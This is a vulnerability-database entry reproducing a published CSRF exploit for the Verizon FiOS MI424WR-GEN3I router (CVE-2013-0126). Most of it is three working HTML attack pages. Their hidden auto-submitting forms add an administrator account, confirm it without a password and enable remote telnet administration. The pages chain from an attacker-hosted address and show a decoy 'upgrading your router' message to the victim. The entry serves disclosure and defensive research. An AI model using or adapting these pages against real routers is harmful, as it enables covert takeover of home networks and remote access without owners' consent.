Verizon Fios Router MI424WR-GEN3I - CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Verizon Fios Router MI424WR-GEN3I CSRF Vulnerability discovered in Jan 2013 by Jacob Holcomb. Exploit allows adding admin user, enable remote administration

Reporter	Title	Published	Views	Family All 13
0day.today	Verizon Fios Router MI424WR-GEN3I - CSRF Vulnerability	19 Mar 201300:00	–	zdt
0day.today	Verizon Fios Router MI424WR-GEN3I CSRF Vulnerability	20 Mar 201300:00	–	zdt
ATTACKERKB	CVE-2013-0126	21 Mar 201320:55	–	attackerkb
CVE	CVE-2013-0126	21 Mar 201320:00	–	cve
Cvelist	CVE-2013-0126	21 Mar 201320:00	–	cvelist
Exploit DB	Verizon Fios Router MI424WR-GEN3I - Cross-Site Request Forgery	19 Mar 201300:00	–	exploitdb
EUVD	EUVD-2013-0169	7 Oct 202500:30	–	euvd
exploitpack	Verizon Fios Router MI424WR-GEN3I - Cross-Site Request Forgery	19 Mar 201300:00	–	exploitpack
NVD	CVE-2013-0126	21 Mar 201320:55	–	nvd
Packet Storm	Verizon Fios Router MI424WR-GEN3I CSRF	19 Mar 201300:00	–	packetstorm


                                                # Exploit Title: Verizon Fios Router CSRF Admin Shell 
# Date: Discovered and reported January 2013
# Author: Jacob Holcomb/Gimppy - Security Analyst @ Independent Security Evaluators
# Software: Verizon FIOS Router - Firmware 40.19.36 (http://verizon.com)
# CVE: CVE-2013-0126
# Advisory/Video: http://infosec42.blogspot.com/2013/03/verizon-fios-router-csrf-cve-2013-0126.html

US CERT Disclosure: http://www.kb.cert.org/vuls/id/278204

Exploit Code:

HTML FILE #1

&#60;html&#62;
&#60;title&#62;Cisco Verizon FIOS CSRF - Adding Administrator User&#60;/title&#62;
&#60;!--Cisco Model: MI424WR-GEN3I --&#62;
&#60;!--Firmware Version: 40.19.36 --&#62;
&#60;h1&#62;Please sit tight while we upgrade your router&#60;/h1&#62;

&#60;body&#62;

&#60;form name=&#34;verizonCisco&#34; action=&#34;http://192.168.1.1/index.cgi&#34; method=&#34;post&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;active_page&#34; value=&#34;101&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;page_title&#34; value=&#34;User Settings&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;mimic_button_field&#34; value=&#34;submit_button_submit: ..&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;button_value&#34; value=&#34;.&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;strip_page_top&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_id&#34; value=&#34;-1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fullname_defval&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fullname&#34; value=&#34;g42&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;username_defval&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;username&#34; value=&#34;G42&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_level&#34; value=&#34;2&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email_system_notify_level&#34; value=&#34;15&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email_security_notify_level&#34; value=&#34;15&#34;/&#62;
&#60;/form&#62;

&#60;script&#62;
function CSRF1() {window.open(&#34;http://10.0.1.101/verizonFIOS2.html&#34;);};window.setTimeout(CSRF1,1000)
function CSRF2() {document.verizonCisco.submit();};window.setTimeout(CSRF2,1000)
&#60;/script&#62;

&#60;/body&#62;
&#60;/html&#62;

HTML FILE #2

&#60;html&#62;
&#60;title&#62;Cisco Verizon FIOS CSRF2 - Add User w/ No Pass Confirmation&#60;/title&#62;

&#60;body&#62;

&#60;form name=&#34;verizonCiscoC&#34; action=&#34;http://192.168.1.1/index.cgi&#34; method=&#34;post&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;active_page&#34; value=&#34;101&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;page_title&#34; value=&#34;User Settings&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;mimic_button_field&#34; value=&#34;submit_button_confirm_submit: ..&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;button_value&#34; value=&#34;.&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;strip_page_top&#34; value=&#34;0&#34;/&#62;
&#60;/form&#62;

&#60;script&#62;
function CSRF1() {window.open(&#34;http://10.0.1.101/verizonFIOS3.html&#34;);};window.setTimeout(CSRF1,0500)
function CSRF2() {document.verizonCiscoC.submit();};window.setTimeout(CSRF2,0500)
&#60;/script&#62;

&#60;/body&#62;
&#60;/html&#62;

HTML FILE #3

 &#60;html&#62;
&#60;title&#62;Cisco Verizon FIOS CSRF3 - Enable Remote Administration&#60;/title&#62;

&#60;body&#62;

&#60;form name=&#34;verizonCiscoRemote&#34; action=&#34;http://192.168.1.1/index.cgi&#34; method=&#34;post&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;active_page&#34; value=&#34;9078&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;active_page_str&#34; value=&#34;page_remote_admin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;page_title&#34; value=&#34;Remote Administration&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;mimic_button_field&#34; value=&#34;submit_button_submit: ..&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;button_value&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;strip_page_top&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_telnet_primary&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_telnet_primary_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_telnet_secondary_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_telnet_ssl_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_http_primary_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_http_secondary_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_https_primary_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_https_secondary_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_diagnostics_icmp_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_diagnostics_traceroute_defval&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;is_telnet_secondary&#34; value=&#34;1&#34;/&#62;
&#60;/form&#62;

&#60;script&#62;
function CSRF1() {document.verizonCiscoRemote.submit();};window.setTimeout(CSRF1,0000)
&#60;/script&#62;

&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.00938